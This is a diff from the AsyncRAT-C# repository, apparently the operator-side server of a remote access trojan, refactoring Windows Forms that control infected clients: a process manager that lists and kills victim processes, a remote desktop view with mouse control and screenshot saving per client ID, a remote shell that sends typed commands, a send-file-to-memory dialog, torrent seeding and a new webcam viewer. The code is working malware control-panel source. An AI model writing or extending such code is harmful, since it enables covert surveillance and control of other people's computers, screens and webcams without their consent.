using Server.Connection;
|
||||||
|
|
||||||
namespace Server.Forms
|
namespace Server.Forms
|
||||||
{
|
{
|
||||||
public partial class FormProcessManager : Form
|
public partial class FormProcessManager : Form
|
||||||
{
|
{
|
||||||
|
public Form1 F { get; set; }
|
||||||
|
internal Clients Client { get; set; }
|
||||||
|
|
||||||
public FormProcessManager()
|
public FormProcessManager()
|
||||||
{
|
{
|
||||||
InitializeComponent();
|
InitializeComponent();
|
||||||
}
|
}
|
||||||
|
|
||||||
public Form1 F { get; set; }
|
|
||||||
internal Clients C { get; set; }
|
|
||||||
|
|
||||||
private void timer1_Tick(object sender, EventArgs e)
|
private void timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!C.ClientSocket.Connected) this.Close();
|
try
|
||||||
|
{
|
||||||
|
if (!Client.TcpClient.Connected) this.Close();
|
||||||
|
}
|
||||||
|
catch { this.Close(); }
|
||||||
}
|
}
|
||||||
|
|
||||||
private async void killToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void killToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
@ -40,7 +45,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||||
msgpack.ForcePathObject("Option").AsString = "Kill";
|
msgpack.ForcePathObject("Option").AsString = "Kill";
|
||||||
msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text;
|
msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -53,7 +58,7 @@ namespace Server.Forms
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||||
msgpack.ForcePathObject("Option").AsString = "List";
|
msgpack.ForcePathObject("Option").AsString = "List";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -42,6 +42,7 @@
|
|||||||
this.button1 = new System.Windows.Forms.Button();
|
this.button1 = new System.Windows.Forms.Button();
|
||||||
this.button2 = new System.Windows.Forms.Button();
|
this.button2 = new System.Windows.Forms.Button();
|
||||||
this.timerSave = new System.Windows.Forms.Timer(this.components);
|
this.timerSave = new System.Windows.Forms.Timer(this.components);
|
||||||
|
this.labelWait = new System.Windows.Forms.Label();
|
||||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
||||||
this.panel1.SuspendLayout();
|
this.panel1.SuspendLayout();
|
||||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
|
||||||
@ -164,7 +165,7 @@
|
|||||||
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
||||||
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
|
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
|
||||||
this.numericUpDown1.Value = new decimal(new int[] {
|
this.numericUpDown1.Value = new decimal(new int[] {
|
||||||
60,
|
30,
|
||||||
0,
|
0,
|
||||||
0,
|
0,
|
||||||
0});
|
0});
|
||||||
@ -198,11 +199,22 @@
|
|||||||
this.timerSave.Interval = 1500;
|
this.timerSave.Interval = 1500;
|
||||||
this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick);
|
this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick);
|
||||||
//
|
//
|
||||||
|
// labelWait
|
||||||
|
//
|
||||||
|
this.labelWait.AutoSize = true;
|
||||||
|
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F);
|
||||||
|
this.labelWait.Location = new System.Drawing.Point(376, 222);
|
||||||
|
this.labelWait.Name = "labelWait";
|
||||||
|
this.labelWait.Size = new System.Drawing.Size(78, 29);
|
||||||
|
this.labelWait.TabIndex = 3;
|
||||||
|
this.labelWait.Text = "Wait...";
|
||||||
|
//
|
||||||
// FormRemoteDesktop
|
// FormRemoteDesktop
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
this.ClientSize = new System.Drawing.Size(938, 485);
|
this.ClientSize = new System.Drawing.Size(938, 485);
|
||||||
|
this.Controls.Add(this.labelWait);
|
||||||
this.Controls.Add(this.button2);
|
this.Controls.Add(this.button2);
|
||||||
this.Controls.Add(this.panel1);
|
this.Controls.Add(this.panel1);
|
||||||
this.Controls.Add(this.pictureBox1);
|
this.Controls.Add(this.pictureBox1);
|
||||||
@ -210,6 +222,7 @@
|
|||||||
this.MinimumSize = new System.Drawing.Size(655, 440);
|
this.MinimumSize = new System.Drawing.Size(655, 440);
|
||||||
this.Name = "FormRemoteDesktop";
|
this.Name = "FormRemoteDesktop";
|
||||||
this.Text = "RemoteDesktop";
|
this.Text = "RemoteDesktop";
|
||||||
|
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed);
|
||||||
this.Load += new System.EventHandler(this.FormRemoteDesktop_Load);
|
this.Load += new System.EventHandler(this.FormRemoteDesktop_Load);
|
||||||
this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd);
|
this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd);
|
||||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
||||||
@ -218,6 +231,7 @@
|
|||||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
|
||||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
|
||||||
this.ResumeLayout(false);
|
this.ResumeLayout(false);
|
||||||
|
this.PerformLayout();
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -235,5 +249,6 @@
|
|||||||
private System.Windows.Forms.Button btnSave;
|
private System.Windows.Forms.Button btnSave;
|
||||||
private System.Windows.Forms.Timer timerSave;
|
private System.Windows.Forms.Timer timerSave;
|
||||||
private System.Windows.Forms.Button btnMouse;
|
private System.Windows.Forms.Button btnMouse;
|
||||||
|
public System.Windows.Forms.Label labelWait;
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -10,7 +10,7 @@ using System.Linq;
|
|||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
using System.Drawing.Imaging;
|
using System.Drawing.Imaging;
|
||||||
@ -21,24 +21,32 @@ namespace Server.Forms
|
|||||||
{
|
{
|
||||||
public partial class FormRemoteDesktop : Form
|
public partial class FormRemoteDesktop : Form
|
||||||
{
|
{
|
||||||
public FormRemoteDesktop()
|
|
||||||
{
|
|
||||||
InitializeComponent();
|
|
||||||
}
|
|
||||||
|
|
||||||
public Form1 F { get; set; }
|
public Form1 F { get; set; }
|
||||||
internal Clients C { get; set; }
|
internal Clients ParentClient { get; set; }
|
||||||
internal Clients C2 { get; set; }
|
internal Clients Client { get; set; }
|
||||||
public bool Active { get; set; }
|
public string FullPath { get; set; }
|
||||||
|
|
||||||
public int FPS = 0;
|
public int FPS = 0;
|
||||||
public Stopwatch sw = Stopwatch.StartNew();
|
public Stopwatch sw = Stopwatch.StartNew();
|
||||||
public Stopwatch RenderSW = Stopwatch.StartNew();
|
public Stopwatch RenderSW = Stopwatch.StartNew();
|
||||||
public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
|
public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
|
||||||
public Size rdSize;
|
public Size rdSize;
|
||||||
private bool isMouse = false;
|
private bool isMouse = false;
|
||||||
|
|
||||||
|
|
||||||
|
public FormRemoteDesktop()
|
||||||
|
{
|
||||||
|
InitializeComponent();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
private void timer1_Tick(object sender, EventArgs e)
|
private void timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!C.ClientSocket.Connected) this.Close();
|
try
|
||||||
|
{
|
||||||
|
if (!ParentClient.TcpClient.Connected) this.Close();
|
||||||
|
}
|
||||||
|
catch { this.Close(); }
|
||||||
}
|
}
|
||||||
|
|
||||||
private void Button2_Click(object sender, EventArgs e)
|
private void Button2_Click(object sender, EventArgs e)
|
||||||
@ -79,7 +87,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
|
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
|
||||||
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString());
|
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString());
|
||||||
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes());
|
||||||
numericUpDown1.Enabled = false;
|
numericUpDown1.Enabled = false;
|
||||||
numericUpDown2.Enabled = false;
|
numericUpDown2.Enabled = false;
|
||||||
button1.Tag = (object)"stop";
|
button1.Tag = (object)"stop";
|
||||||
@ -90,8 +98,8 @@ namespace Server.Forms
|
|||||||
button1.Tag = (object)"play";
|
button1.Tag = (object)"play";
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
C2.Disconnected();
|
Client.Disconnected();
|
||||||
C2 = null;
|
Client = null;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
numericUpDown1.Enabled = true;
|
numericUpDown1.Enabled = true;
|
||||||
@ -120,10 +128,9 @@ namespace Server.Forms
|
|||||||
btnSave.BackgroundImage = Properties.Resources.save_image2;
|
btnSave.BackgroundImage = Properties.Resources.save_image2;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop");
|
if (!Directory.Exists(FullPath))
|
||||||
if (!Directory.Exists(fullPath))
|
Directory.CreateDirectory(FullPath);
|
||||||
Directory.CreateDirectory(fullPath);
|
Process.Start(FullPath);
|
||||||
Process.Start(fullPath);
|
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
@ -134,15 +141,14 @@ namespace Server.Forms
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop");
|
if (!Directory.Exists(FullPath))
|
||||||
if (!Directory.Exists(fullPath))
|
Directory.CreateDirectory(FullPath);
|
||||||
Directory.CreateDirectory(fullPath);
|
|
||||||
Encoder myEncoder = Encoder.Quality;
|
Encoder myEncoder = Encoder.Quality;
|
||||||
EncoderParameters myEncoderParameters = new EncoderParameters(1);
|
EncoderParameters myEncoderParameters = new EncoderParameters(1);
|
||||||
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L);
|
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L);
|
||||||
myEncoderParameters.Param[0] = myEncoderParameter;
|
myEncoderParameters.Param[0] = myEncoderParameter;
|
||||||
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
|
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
|
||||||
pictureBox1.Image.Save(fullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
|
pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
|
||||||
myEncoderParameters?.Dispose();
|
myEncoderParameters?.Dispose();
|
||||||
myEncoderParameter?.Dispose();
|
myEncoderParameter?.Dispose();
|
||||||
}
|
}
|
||||||
@ -181,7 +187,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("X").AsInteger = p.X;
|
msgpack.ForcePathObject("X").AsInteger = p.X;
|
||||||
msgpack.ForcePathObject("Y").AsInteger = p.Y;
|
msgpack.ForcePathObject("Y").AsInteger = p.Y;
|
||||||
msgpack.ForcePathObject("Button").AsInteger = button;
|
msgpack.ForcePathObject("Button").AsInteger = button;
|
||||||
ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -206,7 +212,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
|
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
|
||||||
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
|
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
|
||||||
msgpack.ForcePathObject("Button").AsInteger = (Int32)(button);
|
msgpack.ForcePathObject("Button").AsInteger = (Int32)(button);
|
||||||
ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -224,7 +230,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Option").AsString = "mouseMove";
|
msgpack.ForcePathObject("Option").AsString = "mouseMove";
|
||||||
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
|
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
|
||||||
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
|
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
|
||||||
ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -243,5 +249,14 @@ namespace Server.Forms
|
|||||||
btnMouse.BackgroundImage = Properties.Resources.mouse_enable;
|
btnMouse.BackgroundImage = Properties.Resources.mouse_enable;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Client?.Disconnected();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -123,6 +123,9 @@
|
|||||||
<metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
<metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
<value>131, 17</value>
|
<value>131, 17</value>
|
||||||
</metadata>
|
</metadata>
|
||||||
|
<metadata name="timerPic.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
<value>273, 17</value>
|
||||||
|
</metadata>
|
||||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||||
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
<value>
|
<value>
|
||||||
|
@ -15,7 +15,7 @@ namespace Server
|
|||||||
{
|
{
|
||||||
public partial class FormSendFileToMemory : Form
|
public partial class FormSendFileToMemory : Form
|
||||||
{
|
{
|
||||||
public bool isOK = false;
|
public bool IsOK = false;
|
||||||
public FormSendFileToMemory()
|
public FormSendFileToMemory()
|
||||||
{
|
{
|
||||||
InitializeComponent();
|
InitializeComponent();
|
||||||
@ -54,19 +54,19 @@ namespace Server
|
|||||||
toolStripStatusLabel1.Text = Path.GetFileName(O.FileName);
|
toolStripStatusLabel1.Text = Path.GetFileName(O.FileName);
|
||||||
toolStripStatusLabel1.Tag = O.FileName;
|
toolStripStatusLabel1.Tag = O.FileName;
|
||||||
toolStripStatusLabel1.ForeColor = Color.Green;
|
toolStripStatusLabel1.ForeColor = Color.Green;
|
||||||
isOK = true;
|
IsOK = true;
|
||||||
if (comboBox1.SelectedIndex == 0)
|
if (comboBox1.SelectedIndex == 0)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
new ReferenceLoader().AppDomainSetup(O.FileName);
|
new ReferenceLoader().AppDomainSetup(O.FileName);
|
||||||
isOK = true;
|
IsOK = true;
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
toolStripStatusLabel1.ForeColor = Color.Red;
|
toolStripStatusLabel1.ForeColor = Color.Red;
|
||||||
toolStripStatusLabel1.Text += " Invalid!";
|
toolStripStatusLabel1.Text += " Invalid!";
|
||||||
isOK = false;
|
IsOK = false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -74,20 +74,20 @@ namespace Server
|
|||||||
{
|
{
|
||||||
toolStripStatusLabel1.Text = "";
|
toolStripStatusLabel1.Text = "";
|
||||||
toolStripStatusLabel1.ForeColor = Color.Black;
|
toolStripStatusLabel1.ForeColor = Color.Black;
|
||||||
isOK = true;
|
IsOK = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void button2_Click(object sender, EventArgs e)
|
private void button2_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (isOK)
|
if (IsOK)
|
||||||
this.Hide();
|
this.Hide();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void Button3_Click(object sender, EventArgs e)
|
private void Button3_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
isOK = false;
|
IsOK = false;
|
||||||
this.Hide();
|
this.Hide();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
@ -17,7 +17,7 @@ namespace Server.Forms
|
|||||||
public partial class FormShell : Form
|
public partial class FormShell : Form
|
||||||
{
|
{
|
||||||
public Form1 F { get; set; }
|
public Form1 F { get; set; }
|
||||||
internal Clients C { get; set; }
|
internal Clients Client { get; set; }
|
||||||
|
|
||||||
public FormShell()
|
public FormShell()
|
||||||
{
|
{
|
||||||
@ -41,7 +41,7 @@ namespace Server.Forms
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
|
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
|
||||||
msgpack.ForcePathObject("WriteInput").AsString = textBox1.Text;
|
msgpack.ForcePathObject("WriteInput").AsString = textBox1.Text;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
textBox1.Clear();
|
textBox1.Clear();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -51,12 +51,16 @@ namespace Server.Forms
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
|
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
|
||||||
msgpack.ForcePathObject("WriteInput").AsString = "exit";
|
msgpack.ForcePathObject("WriteInput").AsString = "exit";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
private void Timer1_Tick(object sender, EventArgs e)
|
private void Timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!C.ClientSocket.Connected) this.Close();
|
try
|
||||||
|
{
|
||||||
|
if (!Client.TcpClient.Connected) this.Close();
|
||||||
|
}
|
||||||
|
catch { this.Close(); }
|
||||||
}
|
}
|
||||||
|
|
||||||
private void Label1_Click(object sender, EventArgs e)
|
private void Label1_Click(object sender, EventArgs e)
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
@ -16,7 +16,7 @@ namespace Server.Forms
|
|||||||
{
|
{
|
||||||
public partial class FormTorrent : Form
|
public partial class FormTorrent : Form
|
||||||
{
|
{
|
||||||
private bool isOk = false;
|
private bool IsOk = false;
|
||||||
public FormTorrent()
|
public FormTorrent()
|
||||||
{
|
{
|
||||||
InitializeComponent();
|
InitializeComponent();
|
||||||
@ -29,12 +29,12 @@ namespace Server.Forms
|
|||||||
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
||||||
{
|
{
|
||||||
textBox1.Text = openFileDialog.FileName;
|
textBox1.Text = openFileDialog.FileName;
|
||||||
isOk = true;
|
IsOk = true;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
textBox1.Text = "";
|
textBox1.Text = "";
|
||||||
isOk = false;
|
IsOk = false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -45,7 +45,9 @@ namespace Server.Forms
|
|||||||
|
|
||||||
private void Button2_Click(object sender, EventArgs e)
|
private void Button2_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!isOk) return;
|
try
|
||||||
|
{
|
||||||
|
if (!IsOk) return;
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "torrent";
|
msgpack.ForcePathObject("Packet").AsString = "torrent";
|
||||||
msgpack.ForcePathObject("Option").AsString = "seed";
|
msgpack.ForcePathObject("Option").AsString = "seed";
|
||||||
@ -57,5 +59,7 @@ namespace Server.Forms
|
|||||||
}
|
}
|
||||||
this.Close();
|
this.Close();
|
||||||
}
|
}
|
||||||
|
catch (Exception ex) { MessageBox.Show(ex.Message); }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
195
AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs
generated
Normal file
195
AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs
generated
Normal file
@ -0,0 +1,195 @@
|
|||||||
|
namespace Server.Forms
|
||||||
|
{
|
||||||
|
partial class FormWebcam
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Required designer variable.
|
||||||
|
/// </summary>
|
||||||
|
private System.ComponentModel.IContainer components = null;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Clean up any resources being used.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||||
|
protected override void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing && (components != null))
|
||||||
|
{
|
||||||
|
components.Dispose();
|
||||||
|
}
|
||||||
|
base.Dispose(disposing);
|
||||||
|
}
|
||||||
|
|
||||||
|
#region Windows Form Designer generated code
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Required method for Designer support - do not modify
|
||||||
|
/// the contents of this method with the code editor.
|
||||||
|
/// </summary>
|
||||||
|
private void InitializeComponent()
|
||||||
|
{
|
||||||
|
this.components = new System.ComponentModel.Container();
|
||||||
|
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormWebcam));
|
||||||
|
this.panel1 = new System.Windows.Forms.Panel();
|
||||||
|
this.comboBox1 = new System.Windows.Forms.ComboBox();
|
||||||
|
this.btnSave = new System.Windows.Forms.Button();
|
||||||
|
this.button1 = new System.Windows.Forms.Button();
|
||||||
|
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
||||||
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||||
|
this.timerSave = new System.Windows.Forms.Timer(this.components);
|
||||||
|
this.labelWait = new System.Windows.Forms.Label();
|
||||||
|
this.label1 = new System.Windows.Forms.Label();
|
||||||
|
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
|
||||||
|
this.panel1.SuspendLayout();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
|
||||||
|
this.SuspendLayout();
|
||||||
|
//
|
||||||
|
// panel1
|
||||||
|
//
|
||||||
|
this.panel1.BackColor = System.Drawing.Color.Transparent;
|
||||||
|
this.panel1.Controls.Add(this.label1);
|
||||||
|
this.panel1.Controls.Add(this.numericUpDown1);
|
||||||
|
this.panel1.Controls.Add(this.comboBox1);
|
||||||
|
this.panel1.Controls.Add(this.btnSave);
|
||||||
|
this.panel1.Controls.Add(this.button1);
|
||||||
|
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
|
||||||
|
this.panel1.Location = new System.Drawing.Point(0, 0);
|
||||||
|
this.panel1.Name = "panel1";
|
||||||
|
this.panel1.Size = new System.Drawing.Size(799, 41);
|
||||||
|
this.panel1.TabIndex = 3;
|
||||||
|
//
|
||||||
|
// comboBox1
|
||||||
|
//
|
||||||
|
this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
|
||||||
|
this.comboBox1.Enabled = false;
|
||||||
|
this.comboBox1.FormattingEnabled = true;
|
||||||
|
this.comboBox1.Location = new System.Drawing.Point(71, 7);
|
||||||
|
this.comboBox1.Name = "comboBox1";
|
||||||
|
this.comboBox1.Size = new System.Drawing.Size(272, 28);
|
||||||
|
this.comboBox1.TabIndex = 6;
|
||||||
|
//
|
||||||
|
// btnSave
|
||||||
|
//
|
||||||
|
this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image;
|
||||||
|
this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||||
|
this.btnSave.Enabled = false;
|
||||||
|
this.btnSave.Location = new System.Drawing.Point(568, 4);
|
||||||
|
this.btnSave.Name = "btnSave";
|
||||||
|
this.btnSave.Size = new System.Drawing.Size(32, 32);
|
||||||
|
this.btnSave.TabIndex = 5;
|
||||||
|
this.btnSave.UseVisualStyleBackColor = true;
|
||||||
|
this.btnSave.Click += new System.EventHandler(this.BtnSave_Click);
|
||||||
|
//
|
||||||
|
// button1
|
||||||
|
//
|
||||||
|
this.button1.BackgroundImage = global::Server.Properties.Resources.play_button;
|
||||||
|
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||||
|
this.button1.Enabled = false;
|
||||||
|
this.button1.Location = new System.Drawing.Point(12, 4);
|
||||||
|
this.button1.Name = "button1";
|
||||||
|
this.button1.Size = new System.Drawing.Size(32, 32);
|
||||||
|
this.button1.TabIndex = 0;
|
||||||
|
this.button1.Tag = "play";
|
||||||
|
this.button1.UseVisualStyleBackColor = true;
|
||||||
|
this.button1.Click += new System.EventHandler(this.Button1_Click);
|
||||||
|
//
|
||||||
|
// pictureBox1
|
||||||
|
//
|
||||||
|
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||||
|
this.pictureBox1.Location = new System.Drawing.Point(0, 41);
|
||||||
|
this.pictureBox1.Name = "pictureBox1";
|
||||||
|
